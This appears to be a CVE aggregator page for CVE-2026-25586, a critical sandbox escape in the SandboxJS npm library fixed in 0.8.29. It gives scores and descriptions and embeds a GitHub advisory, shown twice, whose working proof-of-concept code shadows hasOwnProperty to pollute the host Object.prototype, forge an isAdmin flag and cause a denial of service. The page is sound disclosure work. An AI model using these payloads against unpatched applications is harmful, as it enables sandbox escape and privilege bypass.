CVE-2026-25586
SandboxJS has a Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, a sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to proto and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact. This vulnerability is fixed in 0.8.29.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
10.0
SandboxJS has a Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, a sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to proto and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact. This vulnerability is fixed in 0.8.29.
- Record
CVE-2026-25586- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
EUVDEUVD-2026-5592
10.0
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, a sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to proto and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact. This vulnerability is fixed in 0.8.29.
- Record
EUVD-2026-5592- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jjpw-65fv-8g48
10.0
@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
Summary
A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.
The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.
Root Cause
prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.
- src/executor.ts:348
const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');
<img width="1030" height="593" alt="image" src="https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f" />
- src/executor.ts:367-399 prototype whitelist enforcement only happens when
prototypeAccessis true.
<img width="929" height="345" alt="image" src="https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471" />
- src/executor.ts:220-233 mutation guard uses
obj.context.hasOwnProperty(...), also bypassable via shadowing.
<img width="769" height="332" alt="image" src="https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897" />
Proofs of Concept
node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration
node node_modules/rollup/dist/bin/rollup -c
Runtime target: dist/node/Sandbox.js
Baseline: __proto__ blocked without bypass
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
const res = sandbox.compile(`return ({}).__proto__`)().run();
console.log('res', res);
} catch (e) {
console.log('error', e && e.message);
}
<img width="734" height="65" alt="image" src="https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9" />
Prototype whitelist bypass -> host Object.prototype pollution
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.polluted = 'pwned';
return 'done';
`;
sandbox.compile(code)().run();
console.log('polluted' in ({}), ({}).polluted);
<img width="549" height="95" alt="image" src="https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30" />
Logic bypass via prototype pollution
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.isAdmin = true;
return 'ok';
`)().run();
console.log('isAdmin', ({}).isAdmin === true);
<img width="527" height="83" alt="image" src="https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57" />
DoS by overriding Object.prototype.toString
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.toString = function () { throw new Error('aaaaaaa'); };
return 'ok';
`)().run();
try {
String({});
} catch (e) {
console.log('error', e.message);
}
<img width="500" height="147" alt="image" src="https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41" />
RCE via host gadget (prototype pollution ->…
- Record
GHSA-jjpw-65fv-8g48- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
NVD
10.0
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, a sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to proto and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact. This vulnerability is fixed in 0.8.29.
- Record
CVE-2026-25586- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
OSV
10.0
SandboxJS has a Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, a sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to proto and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact. This vulnerability is fixed in 0.8.29.
- Record
CVE-2026-25586- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
OSVGHSA-jjpw-65fv-8g48
10.0
@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
Summary
A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.
The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.
Root Cause
prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.
- src/executor.ts:348
const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');
<img width="1030" height="593" alt="image" src="https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f" />
- src/executor.ts:367-399 prototype whitelist enforcement only happens when
prototypeAccessis true.
<img width="929" height="345" alt="image" src="https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471" />
- src/executor.ts:220-233 mutation guard uses
obj.context.hasOwnProperty(...), also bypassable via shadowing.
<img width="769" height="332" alt="image" src="https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897" />
Proofs of Concept
node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration
node node_modules/rollup/dist/bin/rollup -c
Runtime target: dist/node/Sandbox.js
Baseline: __proto__ blocked without bypass
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
const res = sandbox.compile(`return ({}).__proto__`)().run();
console.log('res', res);
} catch (e) {
console.log('error', e && e.message);
}
<img width="734" height="65" alt="image" src="https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9" />
Prototype whitelist bypass -> host Object.prototype pollution
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.polluted = 'pwned';
return 'done';
`;
sandbox.compile(code)().run();
console.log('polluted' in ({}), ({}).polluted);
<img width="549" height="95" alt="image" src="https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30" />
Logic bypass via prototype pollution
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.isAdmin = true;
return 'ok';
`)().run();
console.log('isAdmin', ({}).isAdmin === true);
<img width="527" height="83" alt="image" src="https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57" />
DoS by overriding Object.prototype.toString
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.toString = function () { throw new Error('aaaaaaa'); };
return 'ok';
`)().run();
try {
String({});
} catch (e) {
console.log('error', e.message);
}
<img width="500" height="147" alt="image" src="https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41" />
RCE via host gadget (prototype pollution ->…
- Record
GHSA-jjpw-65fv-8g48- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-74
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@nyariv/sandboxjsnpm |
through 0.8.28 | 0.8.29 |
@nyariv/sandboxjsnpm |
before 0.8.29 | 0.8.29 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-25586 is a critical vulnerability (CVSS 10.0) in Nyariv Sandboxjs, published February 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.69%, the 53rd percentile. Fixed in @nyariv/sandboxjs 0.8.29.
References
github.com/nyariv/SandboxJS/security/advisories/GHSA-jjpw-65fv-8g48
github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
nvd.nist.gov/vuln/detail/CVE-2026-25586
github.com/advisories/GHSA-jjpw-65fv-8g48
github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25586.json
github.com/nyariv/SandboxJS
Left out here: the rest of 2 source descriptions. The JSON record has them.